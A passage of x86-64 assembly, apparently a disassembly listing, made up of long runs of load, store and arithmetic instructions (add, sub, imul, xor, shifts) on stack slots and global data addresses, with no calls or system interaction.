mov word [0x14017a638], ax
mov rax, qword [rsp + 0x71f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7348]
mov word [rcx], ax
lea rax, [rsp + 0xd04]
mov qword [rsp + 0x76b8], rax
movsx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0x6a58]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7448]
mov byte [rcx], al
mov rax, qword [rsp + 0x6fc0]
mov eax, dword [rax]
mov dword [rsp + 0x3d08], eax
mov rax, qword [rsp + 0x6bf8]
mov rcx, qword [rsp + 0x73b0]
mov qword [rsp + 0x76c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x76c0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x6ff0], rax
lea rax, section..data
mov qword [rsp + 0x76c8], rax
mov rax, qword [rsp + 0x6ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7698]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x70b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [0x140179038]
or eax, ecx
mov word [rsp + 0xd20], ax
lea rax, [rsp + 0x45]
mov qword [0x14017a640], rax
movzx eax, byte [rsp + 0x95]
mov byte [rsp + 0x9f], al
mov rax, qword [rsp + 0x7170]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
lea rax, [rsp + 0xc14]
mov qword [rsp + 0x76d0], rax
movsx eax, word [rsp + 0xd20]
movsx ecx, word [rsp + 0xcf4]
sub eax, ecx
mov rcx, qword [rsp + 0x6be0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6ea0]
mov rcx, qword [rsp + 0x69b0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7678], rax
mov rax, qword [rsp + 0x6a28]
mov eax, dword [rax]
mov dword [rsp + 0x3d0c], eax
mov eax, dword [rsp + 0x3c60]
mov ecx, dword [rsp + 0x3c54]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c04], eax
mov rax, qword [rsp + 0x6e68]
mov rax, qword [rax]
mov qword [rsp + 0x76d8], rax
movzx eax, word [rsp + 0xc74]
movzx ecx, word [rsp + 0xd08]
add eax, ecx
mov rcx, qword [0x14017a5d8]
mov word [rcx], ax
movsx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x72f8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x6f20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4e]
and eax, ecx
mov byte [rsp + 0x9e], al
mov rax, qword [rsp + 0x76b8]
movzx eax, word [rax]
mov word [rsp + 0xd28], ax
movzx eax, word [rsp + 0xce8]
movzx ecx, word [rsp + 0xc68]
imul eax, ecx
mov rcx, qword [rsp + 0x6b30]
mov word [rcx], ax
mov eax, dword [rsp + 0x3b58]
mov dword [rsp + 0x3d10], eax
mov rax, qword [0x14017a4d8]
mov ecx, dword [rsp + 0x3c34]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3be4], eax
mov rax, qword [rsp + 0x75e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6db8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x75a0], rax
mov rax, qword [rsp + 0x6dd0]
mov rax, qword [rax]
mov qword [rsp + 0x76e0], rax
movsx eax, byte [rsp + 0x4a]
mov rcx, qword [rsp + 0x7650]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a5e8]
mov byte [rcx], al
movsx eax, word [rsp + 0xcac]
movsx ecx, word [rsp + 0xc28]
shl eax, cl
mov word [rsp + 0xc70], ax
lea rax, [rsp + 0xc58]
mov qword [rsp + 0x76e8], rax
mov rax, qword [0x14017a5f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7538]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x41], al
mov rax, qword [rsp + 0x6f38]
movzx eax, byte [rax]
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0x6c88]
movzx ecx, al
mov rax, qword [rsp + 0x7530]
sar rax, cl
mov qword [rsp + 0x70c8], rax
mov rax, qword [rsp + 0x70e0]
mov rcx, qword [rsp + 0x74f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x6c80]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6af8]
mov eax, dword [rax]
mov dword [rsp + 0x3d14], eax
mov rax, qword [rsp + 0x6ae8]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7440], rax
movsx eax, word [rsp + 0xc50]
mov rcx, qword [rsp + 0x7438]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140179068], ax
mov rax, qword [rsp + 0x6ee8]
movzx eax, byte [rax]
mov byte [rsp + 0xa1], al
mov rax, qword [rsp + 0x75a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x83]
add eax, ecx
mov byte [rsp + 0x93], al
movzx eax, word [rsp + 0xc7c]
movzx ecx, word [rsp + 0xc74]
add eax, ecx
mov rcx, qword [rsp + 0x6f80]
mov word [rcx], ax
mov rax, qword [rsp + 0x71b0]
movzx eax, byte [rax]
mov byte [rsp + 0xa2], al
mov rax, qword [rsp + 0x7180]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x75c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6e58]
mov qword [rsp + 0x76f0], rax
mov rax, qword [rsp + 0x6af8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c68]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cd8], eax
mov rax, qword [rsp + 0x6c98]
mov rcx, qword [rsp + 0x6ff8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7400], rax
mov rax, qword [rsp + 0x7010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x82]
and eax, ecx
mov byte [0x140179032], al
lea rax, [rsp + 0xd0c]
mov qword [rsp + 0x76f8], rax
mov rax, qword [0x14017a5c8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7d]
add eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov byte [rcx], al
movzx eax, word [rsp + 0xd00]
mov word [rsp + 0xd2c], ax
movzx eax, byte [rsp + 0x8f]
mov rcx, qword [rsp + 0x6f58]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x6d50]
mov byte [rcx], al
mov eax, dword [rsp + 0x3c50]
mov ecx, dword [rsp + 0x3bf8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6f08]
mov dword [rcx], eax
lea rax, [rsp + 0x3cb8]
mov qword [rsp + 0x7700], rax
mov rax, qword [rsp + 0x7110]
mov rcx, qword [rsp + 0x7480]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7020]
mov qword [rcx], rax
lea rax, [rsp + 0x7138]
mov qword [rsp + 0x7708], rax
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc58]
sar eax, cl
mov rcx, qword [0x14017a5d0]
mov word [rcx], ax
movsx eax, word [rsp + 0xcd8]
mov rcx, qword [rsp + 0x71e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcf0], ax
movzx eax, word [0x14017903c]
mov word [rsp + 0xd30], ax
movsx eax, byte [rsp + 0x8b]
mov rcx, qword [rsp + 0x72f8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6d30]
mov byte [rcx], al
movsx eax, word [rsp + 0xc28]
movsx ecx, word [rsp + 0xca0]
sub eax, ecx
mov word [rsp + 0xc88], ax
lea rax, [rsp + 0x3c84]
mov qword [rsp + 0x7710], rax
mov rax, qword [rsp + 0x7560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7308]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6f90], rax
lea rax, [rsp + 0x3c40]
mov qword [rsp + 0x7718], rax
mov rax, qword [rsp + 0x6dd0]
mov rcx, qword [rsp + 0x72c8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x73f8]
mov qword [rcx], rax
lea rax, [rsp + 0x5b]
mov qword [0x14017a648], rax
movzx eax, word [rsp + 0xca4]
mov rcx, qword [rsp + 0x7348]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6dd8]
mov word [rcx], ax
mov rax, qword [0x14017a510]
movzx eax, byte [rax]
mov byte [rsp + 0xa3], al
mov rax, qword [rsp + 0x7220]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x69]
sub eax, ecx
mov byte [rsp + 0x9b], al
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0xa4], al
mov rax, qword [rsp + 0x6f08]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3ce4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c48], eax
mov eax, dword [rsp + 0x3cb8]
mov ecx, dword [rsp + 0x3b68]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7420]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7278]
mov qword [rsp + 0x7720], rax
mov rax, qword [rsp + 0x6aa0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x72c8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x70f8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xc5c]
movsx ecx, word [rsp + 0xcb0]
xor eax, ecx
mov word [0x14017a59c], ax
movzx eax, word [rsp + 0xcc8]
mov word [rsp + 0xd34], ax
movzx eax, byte [0x14017902e]
mov rcx, qword [rsp + 0x7320]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x7a], al
lea rax, [rsp + 0xc40]
mov qword [rsp + 0x7728], rax
movsx eax, byte [rsp + 0x49]
movsx ecx, byte [rsp + 0x91]
shl eax, cl
mov rcx, qword [rsp + 0x7060]
mov byte [rcx], al
mov eax, dword [rsp + 0x3cfc]
movzx ecx, al
mov eax, dword [0x14017a4d0]
sar eax, cl
mov dword [rsp + 0x3b2c], eax
mov rax, qword [rsp + 0x6fc8]
mov rax, qword [rax]
mov qword [rsp + 0x7730], rax
mov rax, qword [rsp + 0x6ff0]
mov rcx, qword [rsp + 0x6bb0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x70c8], rax
lea rax, [rsp + 0x3bf0]
mov qword [rsp + 0x7738], rax
mov rax, qword [rsp + 0x6ec8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7348]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd14], ax
movzx eax, byte [rsp + 0x8c]
movzx ecx, byte [rsp + 0x66]
and eax, ecx
mov byte [0x14017902e], al
movsx eax, byte [rsp + 0x50]
movsx ecx, byte [rsp + 0x7c]
sub eax, ecx
mov rcx, qword [rsp + 0x7538]
mov byte [rcx], al
movzx eax, word [rsp + 0xc54]
mov word [rsp + 0xd38], ax
movzx eax, word [rsp + 0xc98]
movzx ecx, word [0x140179060]
add eax, ecx
mov word [rsp + 0xc0c], ax
mov eax, dword [rsp + 0x3c30]
mov dword [rsp + 0x3d18], eax
mov rax, qword [rsp + 0x7720]
mov rcx, qword [rsp + 0x7668]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7678], rax
mov rax, qword [rsp + 0x72d0]
mov rcx, qword [rsp + 0x6da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x73a8]
mov dword [rcx], eax
lea rax, [rsp + 0x72b8]
mov qword [rsp + 0x7740], rax
movzx eax, byte [rsp + 0x78]
movzx ecx, byte [rsp + 0x89]
add eax, ecx
mov rcx, qword [rsp + 0x7320]
mov byte [rcx], al
mov rax, qword [rsp + 0x75c0]
movzx eax, byte [rax]
mov byte [0x14017a4fc], al
mov rax, qword [0x14017a578]
movzx eax, word [rax]
mov word [rsp + 0xd3c], ax
movsx eax, word [rsp + 0xcd4]
movsx ecx, word [rsp + 0xcac]
add eax, ecx
mov rcx, qword [rsp + 0x6e50]
mov word [rcx], ax
mov rax, qword [rsp + 0x7340]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6db0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6b98]
mov byte [rcx], al
lea rax, [rsp + 0x6f90]
mov qword [rsp + 0x7748], rax
mov rax, qword [rsp + 0x6da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ca8], eax
mov rax, qword [rsp + 0x6cf8]
mov eax, dword [rax]
mov dword [rsp + 0x3d1c], eax
mov rax, qword [rsp + 0x6c70]
mov rcx, qword [rsp + 0x6ca0]
mov qword [rsp + 0x7750], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7750]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7558], rax
mov rax, qword [rsp + 0x7018]
movzx eax, byte [rax]
mov byte [rsp + 0xa5], al
movsx eax, word [rsp + 0xca0]
mov rcx, qword [rsp + 0x6dc8]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x140179068], ax
mov rax, qword [rsp + 0x71a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7650]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x88], al
movzx eax, word [rsp + 0xd08]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xc0c], ax
lea rax, [rsp + 0x94]
mov qword [rsp + 0x7758], rax
mov rax, qword [rsp + 0x7230]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3bfc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c5c], eax
mov rax, qword [rsp + 0x74a0]
mov qword [rsp + 0x7760], rax
mov rax, qword [rsp + 0x6ee0]
mov rcx, qword [rsp + 0x7468]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x70c8], rax
mov rax, qword [0x14017a4d8]
mov rcx, qword [rsp + 0x6d88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x7638]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0xa6], al
lea rax, [rsp + 0x98]
mov qword [0x14017a650], rax
mov rax, qword [0x14017a5d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd14]
imul eax, ecx
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0x6c78]
movzx eax, word [rax]
mov word [rsp + 0xd40], ax
mov rax, qword [rsp + 0x70b8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6f18]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x77]
add eax, ecx
mov byte [rsp + 0x7f], al
mov eax, dword [rsp + 0x3c30]
mov dword [rsp + 0x3d20], eax
mov rax, qword [rsp + 0x69b0]
mov rcx, qword [rsp + 0x7400]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7120], rax
lea rax, [rsp + 0x6d70]
mov qword [rsp + 0x7768], rax
mov rax, qword [rsp + 0x7478]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c78]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3b58], eax
movzx eax, byte [rsp + 0x94]
movzx ecx, byte [rsp + 0x75]
add eax, ecx
mov rcx, qword [0x14017a630]
mov byte [rcx], al
lea rax, [rsp + 0xc54]
mov qword [rsp + 0x7770], rax
mov rax, qword [rsp + 0x6ec8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc9c]
add eax, ecx
mov rcx, qword [rsp + 0x6e30]
mov word [rcx], ax
mov rax, qword [rsp + 0x6fa8]
movsx eax, byte [rax]
movsx ecx, byte [0x14017a4d4]
shl eax, cl
mov rcx, qword [rsp + 0x71a0]
mov byte [rcx], al
lea rax, [rsp + 0xc28]
mov qword [rsp + 0x7778], rax
mov rax, qword [rsp + 0x7748]
mov rcx, qword [rsp + 0x69b0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x6ff8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6de8]
mov qword [rsp + 0x7780], rax
mov rax, qword [rsp + 0x72f0]
mov rcx, qword [rsp + 0x73b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x76c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7040]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x3ca0]
sar eax, cl
mov dword [rsp + 0x3c5c], eax
lea rax, [rsp + 0x55]
mov qword [0x14017a658], rax
mov rax, qword [rsp + 0x7438]
movzx eax, word [rax]
mov word [rsp + 0xd44], ax
movzx eax, word [rsp + 0xc7c]
movzx ecx, word [rsp + 0xce8]
and eax, ecx
mov word [rsp + 0xc1c], ax
mov rax, qword [rsp + 0x7618]
movzx eax, byte [rax]
mov byte [rsp + 0xa7], al
mov rax, qword [rsp + 0x71a0]
movsx eax, byte [rax]
movsx ecx, byte [0x14017900d]
sub eax, ecx
mov byte [rsp + 0x71], al
mov rax, qword [rsp + 0x73c8]
mov rcx, qword [rsp + 0x7238]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6bf8], rax
lea rax, [rsp + 0x3c0c]
mov qword [rsp + 0x7788], rax
mov rax, qword [rsp + 0x6ef0]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fd8]
mov qword [rcx], rax
lea rax, [rsp + 0x3c04]
mov qword [rsp + 0x7790], rax
lea rax, [rsp + 0x47]
mov qword [0x14017a660], rax
movsx eax, word [rsp + 0xd24]
movsx ecx, word [0x14017a638]
sub eax, ecx
mov rcx, qword [rsp + 0x6e50]
mov word [rcx], ax
movsx eax, byte [rsp + 0x95]
mov rcx, qword [rsp + 0x6ec0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x6d30]
mov byte [rcx], al
movzx eax, word [rsp + 0xc9c]
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0x70b8]
movzx eax, word [rax]
mov rcx, qword [0x14017a5d8]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x74c8]
mov word [rcx], ax
lea rax, [rsp + 0x3cd4]
mov qword [rsp + 0x7798], rax
mov rax, qword [rsp + 0x7658]
mov rcx, qword [rsp + 0x7710]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6e80]
mov dword [rcx], eax
lea rax, [rsp + 0x6ef0]
mov qword [rsp + 0x77a0], rax
mov rax, qword [rsp + 0x7110]
mov rcx, qword [rsp + 0x6ea8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x70d0]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x47]
movzx ecx, byte [rsp + 0x4d]
add eax, ecx
mov byte [0x14017a4fa], al
movsx eax, byte [rsp + 0x60]
movsx ecx, byte [0x14017900f]
add eax, ecx
mov byte [rsp + 0x48], al
movzx eax, word [rsp + 0xccc]
mov word [rsp + 0xd4c], ax
mov rax, qword [rsp + 0x74c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x74b8]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x7048]
mov word [rcx], ax
lea rax, [0x14017905c]
mov qword [rsp + 0x77a8], rax
mov rax, qword [rsp + 0x70d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x73f8]
mov qword [rsp + 0x77b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x77b0]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x72b8], rax
mov eax, dword [rsp + 0x3b68]
mov rcx, qword [rsp + 0x7790]
mov qword [rsp + 0x77b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x77b8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x3cdc], eax
lea rax, [0x14017a4d0]
mov qword [rsp + 0x77c0], rax
mov rax, qword [rsp + 0x7380]
mov rcx, qword [rsp + 0x7068]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x75e8]
mov qword [rcx], rax
movsx eax, word [rsp + 0xccc]
movsx ecx, word [rsp + 0xcac]
and eax, ecx
mov rcx, qword [0x14017a570]
mov word [rcx], ax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x77c8], rax
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x74c8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7408]
mov word [rcx], ax
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f]
add eax, ecx
mov rcx, qword [rsp + 0x6ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x7628]
movzx eax, word [rax]
mov word [rsp + 0xd50], ax
mov eax, dword [rsp + 0x3c24]
mov ecx, dword [rsp + 0x3cbc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x73a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7558]
mov qword [rsp + 0x77d0], rax
mov rax, qword [rsp + 0x6e28]
mov rcx, qword [rsp + 0x7460]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6cc8], rax
mov rax, qword [rsp + 0x73b8]
mov rcx, qword [rsp + 0x6d48]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cf4], eax
lea rax, [rsp + 0x42]
mov qword [0x14017a668], rax
mov rax, qword [rsp + 0x6a58]
movzx eax, byte [rax]
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x6f38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e]
and eax, ecx
mov rcx, qword [rsp + 0x7688]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa3]
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x74c8]
movzx eax, word [rax]
movzx ecx, word [0x140179040]
imul eax, ecx
mov word [rsp + 0xc10], ax
lea rax, [rsp + 0x3b64]
mov qword [rsp + 0x77d8], rax
mov rax, qword [rsp + 0x7300]
mov rcx, qword [rsp + 0x7480]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x74c0], rax
mov rax, qword [rsp + 0x6fc8]
mov rcx, qword [0x140179010]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6a20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3c10]
mov dword [rsp + 0x3d24], eax
mov rax, qword [rsp + 0x77c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6e88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140179033], al
mov rax, qword [0x14017a588]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c]
sar eax, cl
mov rcx, qword [rsp + 0x7018]
mov byte [rcx], al
mov rax, qword [rsp + 0x6d90]
movzx eax, word [rax]
mov word [rsp + 0xd54], ax
mov rax, qword [rsp + 0x6b68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc90]
xor eax, ecx
mov rcx, qword [rsp + 0x70d8]
mov word [rcx], ax
movsx eax, word [0x140179050]
mov rcx, qword [rsp + 0x6c60]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xcf8], ax
lea rax, [rsp + 0x74a0]
mov qword [rsp + 0x77e0], rax
mov eax, dword [rsp + 0x3ccc]
movzx ecx, al
mov eax, dword [rsp + 0x3b4c]
shl eax, cl
mov dword [rsp + 0x3c40], eax
lea rax, [rsp + 0x74e0]
mov qword [rsp + 0x77e8], rax
mov rax, qword [rsp + 0x6e98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3c70], eax
movzx eax, byte [rsp + 0x9c]
movzx ecx, byte [rsp + 0xa0]
add eax, ecx
mov byte [rsp + 0x93], al
movzx eax, word [0x14017902c]
mov rcx, qword [rsp + 0x6e78]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a5b0]
mov word [rcx], ax
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x77f0], rax
movsx eax, word [rsp + 0xc78]
mov rcx, qword [rsp + 0x69d8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a18]
mov word [rcx], ax
lea rax, [rsp + 0x99]
mov qword [rsp + 0x77f8], rax
mov rax, qword [rsp + 0x6ea0]
mov rcx, qword [rsp + 0x7748]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7720], rax
lea rax, [rsp + 0x3c08]
mov qword [rsp + 0x7800], rax
mov eax, dword [rsp + 0x3b14]
mov ecx, dword [rsp + 0x3cdc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x70e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6c88]
mov rcx, qword [rsp + 0x74e0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7140]
mov qword [rcx], rax
mov rax, qword [rsp + 0x70d8]
movzx eax, word [rax]
mov word [rsp + 0xd58], ax
lea rax, [rsp + 0xa0]
mov qword [0x14017a670], rax
mov rax, qword [rsp + 0x75c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7c]
and eax, ecx
mov byte [rsp + 0x49], al
movzx eax, word [rsp + 0xd4c]
mov word [rsp + 0xd5c], ax
mov rax, qword [rsp + 0x75f8]
movzx eax, word [rax]
mov rcx, qword [0x14017a530]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xc24], ax
mov rax, qword [rsp + 0x7560]
mov rcx, qword [rsp + 0x70b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7278], rax
lea rax, [rsp + 0x3d14]
mov qword [rsp + 0x7808], rax
mov rax, qword [rsp + 0x6ea8]
mov rcx, qword [rsp + 0x71e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x6a70], rax
mov rax, qword [rsp + 0x6d60]
mov eax, dword [rax]
mov dword [rsp + 0x3d28], eax
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xc6c]
shl eax, cl
mov rcx, qword [rsp + 0x74b8]
mov word [rcx], ax
mov rax, qword [0x14017a600]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7598]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017a4e3], al
movsx eax, word [rsp + 0xc3c]
movsx ecx, word [rsp + 0xc64]
sub eax, ecx
mov rcx, qword [rsp + 0x7388]
mov word [rcx], ax
mov rax, qword [rsp + 0x6bd0]
movzx eax, word [rax]
mov word [rsp + 0xd60], ax
movzx eax, byte [rsp + 0x4f]
mov rcx, qword [rsp + 0x7320]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x54], al
lea rax, [rsp + 0x3cb4]
mov qword [rsp + 0x7810], rax
mov rax, qword [rsp + 0x6ed0]
mov rcx, qword [rsp + 0x7430]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7138], rax
mov rax, qword [rsp + 0x6d40]
mov ecx, dword [rsp + 0x3c10]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3d14], eax
lea rax, [rsp + 0x6a50]
mov qword [rsp + 0x7818], rax
mov rax, qword [rsp + 0x7028]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6c28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x47], al
movsx eax, word [0x140179034]
mov rcx, qword [rsp + 0x7490]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14017906c], ax
movzx eax, byte [rsp + 0xa8]
mov byte [rsp + 0xaa], al
mov rax, qword [rsp + 0x6ab0]
movsx eax, byte [rax]
movsx ecx, byte [0x14017900f]
sub eax, ecx
mov byte [rsp + 0x8a], al
movzx eax, word [rsp + 0xc30]
mov word [rsp + 0xd64], ax
movsx eax, word [rsp + 0xcec]
mov rcx, qword [rsp + 0x7628]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7438]
mov word [rcx], ax
mov rax, qword [rsp + 0x7328]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7630]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7720], rax
mov rax, qword [rsp + 0x74f8]
mov eax, dword [rax]
mov dword [rsp + 0x3d2c], eax
mov rax, qword [rsp + 0x6e48]
mov rcx, qword [rsp + 0x76f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6e58], rax
lea rax, [rsp + 0x3be0]
mov qword [rsp + 0x7820], rax
mov rax, qword [rsp + 0x74a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6d18]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140179023], al
movzx eax, word [rsp + 0xd64]
mov rcx, qword [rsp + 0x6c90]
movzx ecx, word [rcx]
shl eax, cl
